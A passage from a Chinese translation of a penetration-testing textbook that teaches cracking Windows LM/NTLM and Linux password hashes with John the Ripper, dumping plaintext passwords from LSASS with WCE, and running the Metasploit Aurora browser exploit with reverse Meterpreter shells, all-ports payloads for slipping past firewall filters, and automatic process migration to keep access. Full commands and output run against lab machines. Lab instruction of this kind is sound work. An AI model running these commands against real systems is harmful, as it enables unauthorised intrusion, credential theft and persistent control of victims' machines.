示例 9-14 对比了两个密码哈希条目。第一个属于 Windows XP 上的Administrator账户，这是我们通过 Meterpreter 中的hashdump发现的，第二个是 Windows 7 上 Georgia Weidman 的账户，这是我们在上一节中通过物理访问发现的。

示例 9-14. 使用 Linux Live CD 导出 Windows 哈希值

Administrator❶:500❷:e52cac67419a9a224a3b108f3fa6cb6d❸:8846f7eaee8fb117ad06bdd830b7586c❹
Georgia Weidman❶:1000❷:aad3b435b51404eeaad3b435b51404ee❸:8846f7eaee8fb117ad06bdd830b7586c❹

哈希中的第一个字段是用户名❶；第二个是用户 ID ❷；第三个是 LAN Manager (LM) 格式的密码哈希 ❸；第四个是 NT LAN Manager (NTLM) 哈希 ❹。LM 哈希是直到 Windows NT 之前在 Microsoft Windows 上用于哈希密码的主要方式，但它是一种密码学上不安全的方法，使得无论密码的长度和复杂性如何，都能发现 LM 哈希的正确明文密码。Microsoft 引入了 NTLM 哈希来替代 LM 哈希，但在 Windows XP 中，密码默认以 LM 和 NTLM 格式存储。（Windows 7 仅使用更安全的 NTLM 哈希。）

在示例 9-14 中的哈希值中，由于两个密码都是字符串password，每个账户的 NTLM 哈希条目是相同的，但 LM 哈希字段不同。第一个条目的值是e52cac67419a9a224a3b108f3fa6cb6d，而 Windows 7 条目的值是aad3b435b51404eeaad3b435b51404ee，这在 LM 哈希中表示为空。包含 LM 哈希条目将使破解哈希变得更加简单。事实上，任何 LM 哈希的密码都可以在几分钟到几个小时内进行暴力破解。相对而言，我们破解 NTLM 哈希的能力将取决于我们猜测的能力以及密码的长度和复杂性。如果哈希函数在密码学上是安全的，破解每个可能的密码可能需要数年、数十年，甚至超过你的一生。

LM 密码哈希的问题

当你在渗透测试中看到 LM 哈希时，你可以确定从密码哈希中恢复出明文密码是可能的。然而，单向哈希函数是不可逆的。复杂的数学方法用于开发算法，使得无法根据密码哈希发现被哈希的原始明文密码。但是我们可以通过密码明文猜测并运行加密哈希函数，然后将结果与我们尝试破解的哈希值进行比较；如果它们相同，我们就找到了正确的密码。

以下问题导致了 LM 哈希的不安全性：

密码会被截断为 14 个字符。
密码会被转换为全大写字母。
少于 14 个字符的密码会用零填充至 14 个字符。
14 个字符的密码会被分成两个七个字符的密码单独进行哈希处理。

为什么这些特征如此重要？假设我们从一个复杂且强大的密码开始，比如这样：

T3LF23!+?sRty$J

这个密码由四个类别的 15 个字符组成，包括小写字母、大写字母、数字和符号，并且它不是基于字典中的单词。然而，在 LM 哈希算法中，密码会被截断为 14 个字符，如下所示：

T3LF23!+?sRty$

然后小写字母会被转换为大写字母：

T3LF23!+?SRTY$

接下来，密码被分成两个七个字符的部分。然后这两个部分作为密钥，使用数据加密标准（DES）加密算法加密静态字符串KGS!@#$%：

T3LF23!     +?SRTY$

加密得到的八个字符的密文会被连接在一起，形成 LM 哈希。

要破解一个 LM 哈希，我们只需要找到七个字符，全部为大写字母，可能还会包含一些数字和符号。现代计算硬件可以在几分钟到几小时内尝试每一种可能的 1 到 7 个字符的组合，使用KGS!@#$%进行加密，并将得到的哈希值与给定值进行比较。

John the Ripper

John the Ripper 是破解密码的流行工具之一。John the Ripper 的默认模式是暴力破解。由于 LM 哈希中的可能明文密码集合非常有限，暴力破解在合理时间内是破解任何 LM 哈希的可行方法，即使是在我们的 Kali 虚拟机上，它的 CPU 性能和内存有限。

例如，如果我们将本章前面收集到的 Windows XP 哈希保存到名为xphashes.txt的文件中，然后将它们提供给 John the Ripper 进行处理，我们会发现 John the Ripper 可以运行所有可能的密码组合，并得出正确的答案，如示例 9-15 所示。

示例 9-15. 使用 John the Ripper 破解 LM 哈希

root@kali: **john xphashes.txt**
Warning: detected hash type "lm", but the string is also recognized as "nt"
Use the "--format=nt" option to force loading these as that type instead
Loaded 10 password hashes with no different salts (LM DES [128/128 BS SSE2])
                 (SUPPORT_388945a0)
PASSWOR          (secret:1)
                 (Guest)
PASSWOR          (georgia:1)
PASSWOR          (Administrator:1)
D                (georgia:2)
D                (Administrator:2)
D123             (secret:2)

John the Ripper 破解七字符密码哈希值。在示例 9-15 中，我们看到PASSWOR是用户secret密码的前半部分。同样，georgia和Administrator的密码前半部分也是PASSWOR。secret密码的后半部分是D123，而georgia和Administrator的密码后半部分是D。因此，LM 哈希密码的完整明文分别是georgia和Administrator的PASSWORD，以及secret的PASSWORD123。LM 哈希无法告诉我们密码的正确大小写，如果你尝试以Administrator或georgia的身份用密码PASSWORD登录，或者以secret的身份用PASSWORD123登录 Windows XP 机器，你将遇到登录错误，因为 LM 哈希没有考虑密码中字母的正确大小写。

要找出密码的正确大小写，我们需要查看 NTLM 哈希的第四个字段。在示例 9-15 中的示例中，John the Ripper 提到 NTLM 哈希也存在，你可以使用标志--format=nt强制 John the Ripper 使用这些哈希（由于 Windows 7 没有 LM 哈希，因此我们必须使用字典列表来破解 Windows 7 密码，因为暴力破解 NTLM 哈希可能会花费太长时间）。

破解 Windows NTLM 哈希远没有破解 LM 哈希那么容易。虽然一个仅使用小写字母且没有其他复杂性的五字符 NTLM 密码可以像破解 LM 哈希一样快速通过暴力破解，但一个具有大量复杂性的 30 字符 NTLM 密码可能需要许多年才能破解。尝试每个可能的字符组合，不论长度，进行哈希计算并与某个值进行比较，可能会一直持续下去，直到我们偶然找到正确的值（结果发现用户已经更改了密码）。

与其尝试暴力破解密码，不如使用包含已知密码、常见密码、字典词、加上数字和符号的字典词组合等内容的字典列表。（我们将在破解 Linux 密码中看到使用字典列表与 John the Ripper 的例子）。

一个真实世界的例子

传统的密码哈希算法曾在我的一次渗透测试中起到了决定性作用。域控制器是 Windows Server 2008，具有强大的安全性。企业中的工作站也相当安全，最近已升级为完全补丁的 Windows 7 系统。然而，黑暗中的一线希望是：一台缺少多个安全补丁的 Windows 2000 计算机。我利用 Metasploit 很快获得了该机器的系统权限。

问题在于，虽然从表面上看，渗透测试已经成功，但攻破机器并没有让我获得多少信息。该系统没有敏感文件，而且它是该特定网络中的唯一一台机器，且与新的、更新的 Windows 域相隔离。它具备所有域控制器的特征，除了没有客户端。环境中的其他所有机器都是新 Windows 2008 域控制器域的成员。虽然从技术上讲，我现在是域管理员，但在渗透测试中，我并没有比发现 Windows 2000 机器之前更进一步。

由于这是域控制器，域用户的密码哈希是本地存储的。Windows 2000 像 Windows XP 一样，存储了密码的 LM 哈希。客户端的旧域管理员密码很强，约有 14 个字符，包含大写字母、小写字母、数字和符号，并且不基于字典单词。幸运的是，由于它是 LM 哈希的，我能够在几分钟内找回密码。

你猜新域的域管理员密码是什么？没错，跟旧域的域管理员密码一样。虽然 Windows 2000 机器已经有六个月没有使用，但它依然在运行，并且使用了不安全的哈希算法。而且，客户没有定期更换密码。这两件事加起来破坏了原本强大的安全性。我仅凭在被攻破的 Windows 2000 系统上找到的域管理员密码，就能够访问环境中的所有系统。

破解 Linux 密码

我们还可以使用 John the Ripper 来破解我们在第八章中，通过利用 Vsftpd 服务器后门提取的 Linux 密码哈希，正如示例 9-16 所示。

示例 9-16. 使用 John the Ripper 破解 Linux 哈希

root@kali# cat linuxpasswords.txt
georgia:$1$CNp3mty6$lRWcT0/PVYpDKwyaWWkSg/:15640:0:99999:7:::
root@kali# johnlinuxpasswords.txt --wordlist=passwordfile.txt
Loaded 1 password hash (FreeBSD MD5 [128/128 SSE2 intrinsics 4x])
password         (georgia)
guesses: 1  time: 0:00:00:00 DONE (Sun Jan 11 05:05:31 2015)  c/s: 100
trying: password - Password123

用户georgia的密码是 MD5 哈希（我们可以从密码哈希开头的 $1$ 判断）。MD5 无法在合理的时间内进行暴力破解。相反，我们可以使用 John the Ripper 的--wordlist选项，并利用词典进行破解。John the Ripper 成功破解密码的关键在于我们的词典中包含了正确的密码。

使用 John the Ripper 破解密码词典

当密码策略要求密码中包含数字和/或符号时，许多用户只是将它们添加到字典单词的末尾。通过使用 John the Ripper 的规则功能，我们可以捕捉到这种以及其他常见的变种，这些变种可能会绕过简单的字典列表。打开 John the Ripper 配置文件/etc/john/john.conf，在编辑器中查找List.Rules:Wordlist。在这个标题下，你可以为字典列表添加变形规则。例如，规则$[0-9]$[0-9]$[0-9]会在字典列表中的每个单词末尾添加三个数字。你可以通过在命令行使用--rules标志来启用 John the Ripper 中的规则。关于编写自定义规则的更多信息，请访问www.openwall.com/john/doc/RULES.shtml。

破解配置文件密码

最后，让我们尝试破解我们在通过 Zervit 0.4 文件包含漏洞下载的 FileZilla FTP 服务器配置文件中找到的 MD5 哈希密码。正如你所看到的，有时候我们甚至不需要破解密码哈希。例如，尝试将用户georgia的哈希值5f4dcc3b5aa765d61d8327deb882cf99输入到搜索引擎中。前几条结果确认georgia的密码是password。此外，搜索还告诉我们，当安装 FileZilla FTP 服务器时，账户newuser会被创建，密码为wampp。

现在尝试使用这些凭证登录 Windows XP 目标的 FTP 服务器。果然，登录成功了。该系统的管理员忘记更改内置 FTP 账户的默认密码。如果我们无法如此轻松地恢复明文密码，我们可以再次使用 John the Ripper 配合字典列表，如前所述。

彩虹表

与其使用字典列表、对每个条目应用相关算法进行哈希，然后将结果哈希与待破解的值进行比较，我们可以通过预先哈希字典列表来显著加速这个过程。当然，这需要一定的存储空间——随着哈希列表变长，所需存储空间也会增大，当我们尝试存储所有可能的密码哈希值进行暴力破解时，这个空间将接近无限。

一组预计算的哈希值被称为彩虹表。彩虹表通常包含给定算法所有可能的哈希条目，直到某个特定长度，并且字符集是有限的。例如，你可能有一个针对 MD5 哈希的彩虹表，包含所有由小写字母和数字组成、长度介于 1 到 9 之间的条目。这个表大约为 80GB——在今天存储价格的情况下不算太糟糕，但请记住，这仅仅是 MD5 可能的密钥空间中的一小部分。

鉴于其有限的密钥空间（前面讨论过），LM 哈希看起来是使用彩虹表的理想候选。完整的 LM 哈希彩虹表大约为 32GB。

你可以从 project-rainbowcrack.com/table.htm 下载预生成的哈希集。Kali 中的工具 Rcrack 可以用来从彩虹表中筛选出正确的明文密码。

在线密码破解服务

目前在 IT 领域流行的做法是将数据迁移到云端，密码破解也不例外。通过利用多台高性能机器，你可以获得比仅在笔记本虚拟机上操作更快、更全面的结果。当然，你可以在云端设置自己的高性能机器，创建自己的字典等，但也有一些在线服务可以为你处理这些工作，前提是你支付费用。例如，* www.cloudcracker.com/ * 可以破解 NTLM Windows 哈希、Linux 的 SHA-512、无线网络的 WPA2 握手等。你只需要上传密码哈希文件，破解程序会完成其余的工作。

使用 Windows 凭证编辑器从内存中提取明文密码

如果我们可以直接获取明文密码，为什么还要去破解密码哈希呢？如果我们能够访问 Windows 系统，在某些情况下，我们可以直接从内存中提取明文密码。具有此功能的一个工具是 Windows 凭证编辑器（WCE）。我们可以将这个工具上传到被利用的目标系统，它会从负责强制执行系统安全策略的本地安全机构子系统服务（LSASS）进程中提取明文密码。你可以从 www.ampliasecurity.com/research/wcefaq.html 下载 WCE 的最新版本。运行 WCE 的示例见示例 9-17。

示例 9-17. 运行 WCE

C:\>**wce.exe -w**
wce.exe -w
WCE v1.42beta (Windows Credentials Editor) - (c) 2010-2013 Amplia Security - by Hernan Ochoa
(hernan@ampliasecurity.com)
Use -h for help.

georgia\BOOKXP:password

在这里，WCE 找到了用户georgia的明文密码。这个攻击的缺点是，它需要有一个已登录的用户，才能在内存中存储密码。即使你能够通过这种方法获取一个或两个明文密码，仍然值得提取并尝试破解你能访问的任何密码哈希。

总结

反向破解密码哈希是一个令人兴奋的领域，随着硬件速度的提升，破解更强的哈希也变得越来越快速。使用多个 CPU，甚至显卡上的图形处理单元（GPU），密码破解工具可以非常快速地尝试大量哈希。我们的虚拟机处理能力有限，但即便是你普通的现代笔记本电脑，也比几年前用于密码破解的机器快得多。如今，密码破解的前沿技术是利用云端，并借助多个顶级配置的云服务器进行破解。你甚至可以找到一些基于云的密码破解服务。

如本章所示，利用在第八章中收集到的成功攻击案例信息，我们已成功逆向密码哈希，恢复出一些服务和系统本身的明文密码。在成功入侵系统后，让我们来看看一些先进的攻击方法，这些方法可以在我们监听网络时找不到任何漏洞的情况下提供帮助。毕竟，我们还有一台 Windows 7 机器可以利用。

第十章。客户端利用

到目前为止，我们研究的漏洞都是易于发现的，而且都出现在真实的项目中。在渗透测试中，发现监听端口上存在漏洞的服务、未更改的默认密码、配置错误的 Web 服务器等情况是很常见的。

然而，那些在安全姿态上投入大量时间和精力的客户可能不会受到这类漏洞的影响。他们可能已经安装了所有安全补丁；他们可能会定期审计密码，并删除任何容易猜测或破解的密码。他们可能会控制用户角色：普通用户可能没有在他们的工作站上拥有管理权限，任何安装的软件都会由安全人员调查和维护。因此，甚至可能没有太多服务可供攻击。

然而，尽管部署了最新和最先进的安全技术，并雇佣了破解安全团队，高知名度的公司（对攻击者可能有高回报）仍然遭受入侵。在本章中，我们将研究一些不需要直接网络访问的不同类型的攻击。我们将研究针对系统上的本地软件的攻击——这些软件不在监听端口上。

因为我们不会直接攻击计算机或监听端口，而且我们需要想出另一种方式来攻击公司边界内的设备，因此我们需要相应地选择我们的载荷。虽然对于直接暴露在互联网上或在本地网络上监听端口的系统，正常的绑定 shell 可能运行良好，但在这里，我们至少会受限于反向连接。

但首先让我们深入了解 Metasploit 载荷系统，并查看一些对您可能有用的其他载荷。

使用 Metasploit 载荷绕过过滤器

在之前的章节中，我们讨论了 Metasploit 载荷系统，包括单个与分阶段载荷以及绑定 shell 与反向 shell。我们还简要讨论了 Metasploit 的 Meterpreter 载荷（我们将在第十三章中深入讨论）。当您在模块上使用命令 show payloads 时，您可能会看到一些对您来说可能是新的载荷。在本节中，我们将看一些可以用来绕过您在渗透测试中遇到的过滤技术的载荷。

所有端口

我们的网络设置是这样的，我们的攻击和目标虚拟机在同一个网络上，没有防火墙或其他过滤器阻止通信。然而，在您的渗透测试职业生涯中，您可能会遇到各种过滤设置的客户。即使是反向连接也可能无法穿过过滤器并连接回您的攻击机器的任何端口。例如，客户网络可能不允许流量在端口 4444 上离开网络，这是 Metasploit reverse_tcp 载荷的默认端口。它可能只允许流量通过特定端口出去，比如 80 或 443 用于网络流量。

如果我们知道哪些端口可以通过过滤器，我们可以将LPORT选项设置为相关端口。Metasploit 的reverse_tcp_allports有效负载可以帮助我们找到可以连接的端口。顾名思义，这种有效负载通信方式会尝试所有端口，直到找到成功连接回 Metasploit 的端口。

让我们通过windows/shell/reverse_tcp_allports有效负载来测试这一功能，如示例 10-1 所示。我们正在使用 MS08-067 漏洞攻击 Windows XP。

示例 10-1. Windows/shell/reverse_tcp_allports 有效负载

msf  exploit(ms08_067_netapi) > **set payload windows/shell/reverse_tcp_allports**
payload => windows/shell/reverse_tcp_allports
msf  exploit(ms08_067_netapi) > **show options**
--*snip*--
Payload options (windows/shell/reverse_tcp_allports):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
   LHOST     192.168.20.9     yes       The listen address
  ❶LPORT     1                yes       The starting port number to connect back on
--*snip*--
msf  exploit(ms08_067_netapi) > **exploit**

[*] Started reverse handler on 192.168.20.9:1
--*snip*--
[*] Sending encoded stage (267 bytes) to 192.168.20.10
[*] Command shell session 5 opened (192.168.20.9:1 -> 192.168.20.10:1100) at 2015-05-14
22:13:20 -0400 ❷

在这里，LPORT ❶选项指定了第一个要尝试的端口。如果该端口无法连接，有效负载将尝试后续的每个端口，直到连接成功。如果有效负载尝试了 65535 个端口仍未成功，它将从端口 1 重新开始，并无限循环。

因为没有过滤器阻挡我们的流量，Metasploit 尝试的第一个端口——端口 1，成功建立了连接，如❷所示。虽然这种有效负载在很多情况下都能工作，但某些过滤技术无论它尝试连接哪个端口，都会将其拦截。这个有效负载的一个缺点是，它可能需要运行很长时间来尝试找到一个未被过滤的端口。如果用户看到应用程序卡住，可能会在有效负载成功之前关闭它。

HTTP 和 HTTPS 有效负载

虽然有些过滤器可能允许在某些端口上通过所有流量，但最先进的过滤系统使用内容检查来筛选合法的协议特定流量。这可能会给我们的有效负载带来问题。即使我们的 Meterpreter 有效负载通信是加密的——内容检查无法识别“这是 Metasploit，去开除它！”——过滤器还是能识别出从端口 80 发送的流量不符合 HTTP 规范。

为了解决这个问题，Metasploit 的开发者创建了 HTTP 和 HTTPS 有效负载。这些有效负载遵循 HTTP 和 HTTPS 规范，即使是内容检查过滤器也会认为我们的流量是合法的。此外，这些有效负载是基于数据包的，而不像 TCP 有效负载那样是基于流的。这意味着它们不局限于特定连接。如果你暂时丢失网络通信并失去所有 Metasploit 会话，HTTP 和 HTTPS 会话可以恢复并重新连接。（我们将在 Java 漏洞中看到使用这些有效负载的示例。）

虽然 HTTP 和 HTTPS 负载可以通过大多数过滤技术，但你可能会遇到更复杂的过滤情况。例如，我曾测试过一个客户的环境，只有当域验证用户启动 Internet Explorer 进程时，才能访问互联网。员工可以上网进行业务操作，但他们有些限制。例如，他们无法使用即时通讯客户端。虽然这可能让一些员工感到不满，但从安全角度来看这是一个好主意。即使我们成功利用了某些漏洞，即便是 HTTP 和 HTTPS 负载也无法连接到互联网。（在浏览器利用中，我们将讨论一些攻击方法，这些方法可以在合法的域用户登录时，利用 Internet Explorer 进程连接外部网络。）

Meterpreter HTTP 和 Meterpreter HTTPS 使用 Internet Explorer 的代理设置来穿越必要的代理，连接到互联网。因此，如果你的目标进程是以System用户身份运行，这些代理设置可能未被定义，导致这些负载失败。

注意

还有一个 Meterpreter 负载——reverse_https_proxy，允许攻击者手动添加任何必要的代理设置。

客户端攻击

现在让我们将注意力转向客户端攻击的实施。我们不再直接攻击监听端口的服务，而是创建各种恶意文件，当这些文件在目标机器上的脆弱软件中打开时，将导致系统被攻陷。

到目前为止，我们的所有攻击都涉及某种服务在端口上监听，无论是 Web 服务器、FTP 服务器、SMB 服务器，还是其他服务。当我们开始渗透测试时，首先做的事情之一就是对目标进行端口扫描，以查看哪些服务正在监听。渗透测试开始时，潜在的漏洞几乎是无限的。

当我们开始运行工具、进行手动分析和研究时，利用的可能性逐渐减少，直到我们剩下的目标系统上的问题变得有限。这些问题通常是服务器端问题——监听端口的服务。我们缺少的是没有监听端口的潜在脆弱软件——客户端软件。

像网页浏览器、文档查看器、音乐播放器等软件，面临与 Web 服务器、邮件服务器以及其他所有基于网络的程序相同的问题。

当然，由于客户端软件不在网络上监听，我们无法直接攻击它，但一般原则是一样的。如果我们能向程序发送意外的输入以触发漏洞，就可以劫持执行，就像我们在第八章中利用服务器端程序一样。由于我们不能通过网络直接向客户端程序发送输入，我们必须诱使用户打开恶意文件。

随着安全问题变得越来越严肃，且服务器端的漏洞从面向互联网的角度变得更难发现，客户端漏洞利用已成为获取即使是精心保护的内部网络访问的关键。客户端攻击非常适用于缺乏面向互联网 IP 地址的资产，如工作站或移动设备。虽然从互联网的角度我们无法直接访问这些系统，但如果我们能够劫持执行，它们通常可以连接到互联网或连接到一个渗透测试者控制的系统。

不幸的是，客户端攻击的成功依赖于某种方式确保我们的漏洞利用被下载并在易受攻击的产品中打开。在下一章中，我们将探讨一些技巧，诱使用户打开恶意文件；现在我们先来看看一些客户端漏洞利用，从最流行的客户端漏洞利用目标——网页浏览器开始。

浏览器漏洞利用

网页浏览器由渲染网页的代码组成。就像我们可以向服务器软件发送格式不正确的输入一样，如果我们打开一个带有恶意代码的网页来触发安全问题，我们就有可能劫持浏览器中的执行并执行有效载荷。尽管传递方式有所不同，但基本概念是相同的。所有常见的浏览器都曾受到过安全问题的影响——Internet Explorer、Firefox，甚至是 Mobile Safari。

通过浏览器漏洞利用越狱 iPhone

过去，浏览器漏洞利用在 iPhone 越狱中起到了关键作用。虽然后来的 iOS 版本实施了一项名为 强制代码签名 的安全功能，要求所有执行的代码都必须经过 Apple 审批，但 Mobile Safari（iPhone 上的网页浏览器）则被豁免了，因为它必须能够运行未签名的代码来渲染网页。Apple 不可能浏览整个互联网并签署所有不含恶意代码的页面。如果 iPhone 无法查看网页，大家就只能去买 Android 手机——这是 Apple 最不想看到的。iOS 4 在 Mobile Safari 中渲染 PDF 文件时，其中一个字体包含了一个安全漏洞。这个客户端攻击允许越狱者仅仅通过诱骗用户在浏览器中打开一个恶意链接，就能在 iPhone 上获得立足点。

让我们考虑一个著名的 Internet Explorer 漏洞。Aurora 漏洞利用在 2010 年被用于攻击像 Google、Adobe 和 Yahoo! 这样的大公司。在 Aurora 攻击发生时，Internet Explorer 存在一个 零日漏洞——即尚未修补的漏洞。（即使是完全更新版本的 Internet Explorer，只要用户被诱导打开恶意网页，触发漏洞，也可能被攻破。）

微软已发布针对 Internet Explorer 的补丁，但像其他安全补丁一样，用户有时会忽略更新他们的浏览器，并且安装在 Windows XP 目标系统上的 Internet Explorer 版本并没有包含防止 Aurora 漏洞的必要安全补丁。

我们将使用 Metasploit 通过攻击脆弱的浏览器来控制目标机器，方法是利用 Aurora Metasploit 模块 exploit/windows/browser/ms10_002_aurora，具体示例请参见示例 10-2。

注意

客户端 Metasploit 模块与我们之前使用的服务器端模块基本相同，只是选项稍有不同：我们不是向网络上的远程主机发送漏洞利用代码，而是设置一个服务器并等待浏览器访问我们的页面。

示例 10-2. Internet Explorer Aurora Metasploit 模块

msf > **use exploit/windows/browser/ms10_002_aurora**
msf  exploit(ms10_002_aurora) > **show options**

Module options (exploit/windows/browser/ms10_002_aurora):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
  ❶SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address
                                            on the local machine or 0.0.0.0
  ❷SRVPORT     8080             yes       The local port to listen on.
  ❸SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly
                                            generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used
                                            (accepted: SSL2, SSL3, TLS1)
  ❹URIPATH                      no        The URI to use for this exploit (default is random)

Exploit target:

   Id  Name
   --  ----
  ❺0   Automatic

请注意，在该模块的选项中，我们看到的是 SRVHOST ❶ 选项，而不是 RHOST。这是服务器的本地 IP 地址。默认情况下，此地址设置为 0.0.0.0，以便监听本地系统上的所有地址。监听的默认端口是 SRVPORT ❷ 选项，端口号为 8080。只要没有其他程序占用该端口，你可以将其更改为 80（Web 服务器的默认端口）。你甚至可以使用 SSL 连接 ❸。

如果我们设置了 URIPATH ❹ 选项，就可以为恶意页面指定一个特定的 URL。如果我们没有在这里设置任何内容，则会使用一个随机 URL。由于漏洞利用完全在浏览器内发生，因此我们的攻击无论 Windows 版本如何 ❺ 都能生效，只要 Internet Explorer 存在 Aurora 漏洞。

接下来，我们为我们的环境设置模块选项。该模块的有效载荷与我们之前看到的 Windows 有效载荷相同。利用浏览器的方式与利用系统中的其他程序没有区别，我们可以运行相同的 shellcode。在本示例中，我们将使用 windows/meterpreter/reverse_tcp 有效载荷来演示一些客户端攻击概念，具体内容请参见示例 10-3。

注意

确保 apache2 Web 服务器没有在端口 80 上运行，使用命令 service apache2 stop 停止它。

示例 10-3. 设置选项并启动 Aurora 模块

msf  exploit(ms10_002_aurora) > **set SRVHOST 192.168.20.9**
SRVHOST => 192.168.20.9
msf  exploit(ms10_002_aurora) > **set SRVPORT 80**
SRVPORT => 80
msf  exploit(ms10_002_aurora) > **set URIPATH aurora**
URIPATH => **aurora**
msf  exploit(ms10_002_aurora) > **set payload windows/meterpreter/reverse_tcp**
payload => windows/meterpreter/reverse_tcp
msf  exploit(ms10_002_aurora) > **set LHOST 192.168.20.9**
LHOST => 192.168.20.9
msf  exploit(ms10_002_aurora) > **exploit**
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.20.9:4444 ❶
[*] Using URL: http://192.168.20.9:80/aurora ❷
[*] Server started.

正如你在示例 10-3 中看到的，一旦我们设置了选项并运行该模块，后台将在所选的 SRVPORT 上启动一个 Web 服务器，并在所选的 URIPATH 下显示 ❷ 所示内容。此外，还会为所选的有效载荷设置处理程序 ❶。

现在我们将使用 Windows XP 目标机器上的 Internet Explorer 浏览器访问恶意网站。在 Metasploit 中，你应该看到页面已经被服务，并且正在尝试利用漏洞，如示例 10-4 所示。尽管我们的 Windows XP 浏览器存在漏洞，但可能需要尝试几次才能成功利用浏览器。

利用 Aurora 漏洞并不像我们在本书中讨论的其他漏洞那样可靠。如果 Internet Explorer 崩溃，但你没有收到会话，尝试再次浏览到漏洞页面。

示例 10-4. 接收客户端会话

msf  exploit(ms10_002_aurora) > [*] 192.168.20.10      ms10_002_aurora -
Sending Internet Explorer "Aurora" Memory Corruption
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 1 opened (192.168.20.9:4444 -> 192.168.20.10:1376) at
2015-05-05 20:23:25 -0400 ❶

尽管这个漏洞利用可能不是每次都能成功，目标浏览器存在漏洞，尝试几次应该能够成功。如果漏洞利用成功，你将获得一个会话，如 ❶ 所示。我们不会自动进入会话。使用 sessions -i <session id> 来与 Meterpreter 会话交互。

尽管我们已经成功利用了浏览器并在目标系统上获得了立足点，但我们的挑战并未结束。如果你回到 Windows XP 机器并尝试继续使用 Internet Explorer，你会发现它不再工作。获取会话的过程中涉及的利用操作已经使浏览器无法使用。对我们来说的问题是，那些被诱骗访问我们恶意网站的用户自然会希望继续使用浏览器。他们可能会强制退出浏览器，或者浏览器可能因其不稳定状态而自行崩溃。当浏览器关闭时，我们会失去 Meterpreter 会话。

msf  exploit(ms10_002_aurora) > [*] 192.168.20.10 - Meterpreter session 1 closed.  Reason: Died❶

我们的 Meterpreter 有效载荷完全存在于被利用进程的内存中。如果浏览器崩溃或被用户关闭，我们的会话也会随之终止，如 ❶ 所示。我们可以像获得立足点一样迅速失去对系统的控制。

我们需要一种方法保持 Meterpreter 会话存活，即使被利用的进程——在这个例子中是 Internet Explorer 浏览器——终止。但首先，我们需要停止 Metasploit 网络服务器，以便我们可以对恶意页面进行一些修改，解决这个问题，如示例 10-5 所示。

示例 10-5. 在 Metasploit 中终止后台作业

msf  exploit(ms10_002_aurora) > **jobs**❶

Jobs
====

  Id  Name
  --  ----
  0   Exploit: windows/browser/ms10_002_aurora

msf  exploit(ms10_002_aurora) > **kill 0**❷
Stopping job: 0...

[*] Server stopped.

我们可以通过在 Metasploit 中输入 jobs ❶ 查看后台运行的所有任务。要停止后台运行的任务，可以输入 kill <job number> ❷。

因为 Meterpreter 完全存在于被利用进程的内存中，而该进程注定会终止，我们需要某种方法将会话从 Internet Explorer 进程转移到一个更可能持续存在的进程中。

在 Meterpreter 会话中运行脚本

与网络攻击不同，当我们的攻击成功时，我们可以立刻看到会话；但在进行客户端攻击时，我们必须等到用户访问我们的恶意页面。即便我们找到了一种将 Meterpreter 迁移到另一个进程的方法，会话仍然随时可能进入。在渗透测试过程中，我们不能分心，否则会有丢失会话的风险。如果我们能在 Meterpreter 会话中自动运行命令，那将是理想的，这样我们就不需要闲坐着等待浏览器访问我们的恶意服务器。

可以在 Kali 的 /usr/share/metasploit-framework/scripts/meterpreter 路径下找到可以在打开的会话中运行的 Meterpreter 脚本。我们将在第十三章中查看更多 Meterpreter 脚本的示例，但现在我们先看一个在当前场景下非常有效的脚本。脚本migrate.rb允许我们将 Meterpreter 从一个进程的内存迁移到另一个进程的内存，这正是我们在这里需要的功能。要在活动的 Meterpreter 会话中运行一个脚本，输入run <script name>，如示例 10-6 所示。你可能会看到如何正确使用该脚本的帮助信息，就像我们在这里看到的那样。

示例 10-6. 运行 Meterpreter 脚本

meterpreter > **run migrate**

OPTIONS:

    -f        Launch a process and migrate into the new process ❶
    -h        Help menu.
    -k        Kill original process.
    -n <opt>  Migrate into the first process with this executable name (explorer.exe) ❷
    -p <opt>  PID to migrate to. ❸

当我们尝试运行migrate脚本时，会看到几个选项。我们可以启动一个新进程并迁移到该进程中，如❶所示；也可以迁移到一个指定名称的进程中❷；或者通过进程 ID 选择进程，如❸所示。

高级参数

除了模块和有效载荷选项外，Metasploit 模块还具有高级参数。我们可以使用命令show advanced查看可用的高级参数，如示例 10-7 所示。

示例 10-7. Metasploit 高级参数

msf  exploit(ms10_002_aurora) > **show advanced**

Module advanced options:

   Name           : ContextInformationFile
   Current Setting:
   Description    : The information file that contains context information

   --*snip*--
   Name           : AutoRunScript❶
   Current Setting:
   Description    : A script to run automatically on session creation.

   --*snip*--
   Name           : WORKSPACE
   Current Setting:
   Description    : Specify the workspace for this module

我们选择的有效载荷的高级设置之一是AutoRunScript ❶。当设置此参数时，它将允许我们在会话打开时自动运行 Meterpreter 脚本。

我们可以设置该参数，使得每当 Meterpreter 会话开启时，自动运行migrate脚本。这样，当浏览器崩溃时，只要migrate脚本完成，我们的会话就能避免崩溃的影响。此外，通过自动运行脚本，我们可以在用户访问恶意页面时随时迁移，而不管你是否在关注 Msfconsole，当会话进入时，如示例 10-8 所示。

示例 10-8. 设置AutoRunScript参数

msf  exploit(ms10_002_aurora) > **set AutoRunScript migrate -f**❶
AutoRunScript => migrate -f
msf  exploit(ms10_002_aurora) > **exploit**
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.20.9:4444
[*] Using URL: http://192.168.20.9:80/aurora
[*] Server started.

要设置高级参数，请使用语法set <parameter to set> <value>（与设置常规选项相同）。例如，在示例 10-8 中，我们告诉migrate脚本通过-f标志 ❶生成一个新进程并迁移到该进程中，然后我们再次启动恶意服务器。

现在，再次从 Windows XP 目标系统浏览到恶意页面（见示例 10-9）。

示例 10-9. 自动迁移

msf  exploit(ms10_002_aurora) > [*] 192.168.20.10       ms10_002_aurora - Sending Internet Explorer "Aurora" Memory Corruption
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 2 opened (192.168.20.9:4444 -> 192.168.20.10:1422) at 2015-05-05 20:26:15 -0400
[*] Session ID 2 (192.168.20.9:4444 -> 192.168.20.10:1422) processing AutoRunScript 'migrate -f' ❶
[*] Current server process: iexplore.exe (3476)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 484
[+] Successfully migrated to process ❷

